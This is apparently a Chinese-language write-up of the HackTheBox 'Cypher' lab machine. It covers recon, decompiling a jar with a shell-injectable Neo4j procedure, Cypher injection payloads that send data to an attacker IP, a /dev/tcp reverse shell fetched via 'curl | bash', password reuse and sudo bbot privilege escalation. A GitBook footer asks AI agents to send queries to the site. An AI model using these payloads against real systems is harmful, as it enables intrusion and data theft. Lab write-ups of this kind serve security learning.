> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Cypher HackTheBox 复现

Cypher HackTheBox 中等难度 Linux 靶机复现，涵盖使用 JD-GUI 对 Java .jar 文件进行逆向工程、自定义 Java 代码漏洞分析、Neo4j 中的 Cypher 注入、远程代码执行（RC

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**技能：**

* 使用 JD-GUI 对 Java .jar 文件进行逆向工程
* 自定义 Java 代码的漏洞分析
* Neo4j 中的 Cypher 注入
* 通过未清理的输入实现远程代码执行（RCE）
* 利用后的枚举与凭证复用
* 通过配置错误的 sudo 权限进行提权
* 安全获取 flag 并进行清理的步骤
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907c007f4ce2c70653e37c58298bcfa02a9ca5c5%2Fimage%20(522).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37e75176085c2a4712ef4e9398779fc8ced2373%2Fimage%20(523).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1347fd3cc24b52f726afa4cf6e94f65aeadb8b%2Fimage%20(524).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e34ed3a3efcc5a48016556541506c9f7734061%2Fimage%20(525).png?alt=media" alt=""><figcaption></figcaption></figure>

然后将该 IP 添加到我们的 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f730170d080441d2185038d5e784b3eaf6a0e9f%2Fimage%20(526).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web 分析 - 80 端口（HTTP）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c23ed8aca7b68e159e0b49bd91bfe226ad5d19b5%2Fimage%20(527).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobuster** 用于列出目录：

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5ff01521a077aa3c51fc583b1ccdceef7ea039e%2Fimage%20(529).png?alt=media" alt=""><figcaption></figcaption></figure>

该 `/testing` 目录包含一个 `.jar` 文件。我们提取：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f25263d2d70d7f1a4cccc0e326cc89c0e8ad8a72%2Fimage%20(530).png?alt=media" alt=""><figcaption></figcaption></figure>

使用以下工具检查结构： `tree` 并使用以下工具打开 `.jar` 使用 **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6edee4f3d30ab8349fbdbd75c323df529623b68c%2Fimage%20(531).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d60714bdf7ce16c54310a96f1cc10963b25f1d%2Fimage%20(532).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发现一个存在漏洞的命令：

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7aa86a5490199d3ccbc233a784c3c9aedcbee75c%2Fimage%20(533).png?alt=media" alt=""><figcaption></figcaption></figure>

**漏洞**：URL 未经过转义，允许进行 /*/* shell/*/* 注入。

## Neo4j Cypher 注入

一个登录表单存在漏洞。在……之间会出现错误 `'`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fdd8cf44a1edf70a4645ece22f4961a7d1c95275%2Fimage%20(528).png?alt=media" alt=""><figcaption></figcaption></figure>

我们注入一段 Cypher payload 来获取 Neo4j 的版本：

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f9168c74d0cd7c63be185df31f6548eb8f5375%2Fimage%20(512).png?alt=media" alt=""><figcaption></figcaption></figure>

在我们的服务器上，我们收到了该请求：

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baaeb89e343beed19b7b3cd39cff980c0e09ec9%2Fimage%20(511).png?alt=media" alt=""><figcaption></figcaption></figure>

### 通过调用实现 NCE `custom.getUrlStatusCode()`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46196c341a54a371a11baab752b242dc4a221de9%2Fimage%20(513).png?alt=media" alt=""><figcaption></figcaption></figure>

在以下位置放置一个反向 shell： `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

在以下位置放置一个反向 shell： `index.html`:

```bash
nc -nlvp 443
```

使用联合注入来调用这个 **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81135f92277de943d8fca1f44090dcecf8f2e270%2Fimage%20(514).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell 优化：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 横向移动 - 用户 Graphasm

在 `/home/graphasm/` 有一个 `pwn.py` 包含密码的文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7ec4d35d62f81b020c5d0b16d87ceeadefbf3d%2Fimage%20(515).png?alt=media" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### 密码复用

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91a9236a0aa15979f499c44081d0b37fffdea6fb%2Fimage%20(516).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

### Sudo - bbot（二进制文件）

对 fees 的 sudo 审计：

```bash
sudo -l 
```

用户可以运行 `/usr/local/bin/bbot` 以 root 身份。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10fc8f8f88230caa2d796f703db2f19c6fae5965%2Fimage%20(517).png?alt=media" alt=""><figcaption></figcaption></figure>

以下内容： `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be6a8ba276a1e956c4b040f1acd221d23c438005%2Fimage%20(519).png?alt=media" alt=""><figcaption></figcaption></figure>

### 利用：

这个脚本只是将参数传递给以下程序的 main 函数： `bbot`。由于我们可以控制提供的参数，因此我们可以利用以下功能： `bbot` 来读取任意文件——包括那些仅对用户可访问的文件 **root**.

在查阅使用说明或文档后，关于使用 `bbot`，我们找到了用于指定目标文件和输出目录的选项：

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**说明：**

* `-t /root/root.txt`：设置要处理的目标文件。
* `-o /tmp/root`：指定输出目录（结果将存储在此处）。
* `-d`：启用调试模式，以便在需要更多信息时使用。

由于该脚本以 **root** 权限运行，并且不会对 ns 条目进行验证，因此这使我们能够读取任意文件，包括包含以下内容的最终文件 **root flag**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38f304ff0dd3239d615ef146d27350e3eec435f9%2Fimage%20(521).png?alt=media" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9399f661511622d569be36e245b040792dcc3690%2Fimage%20(518).png?alt=media" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
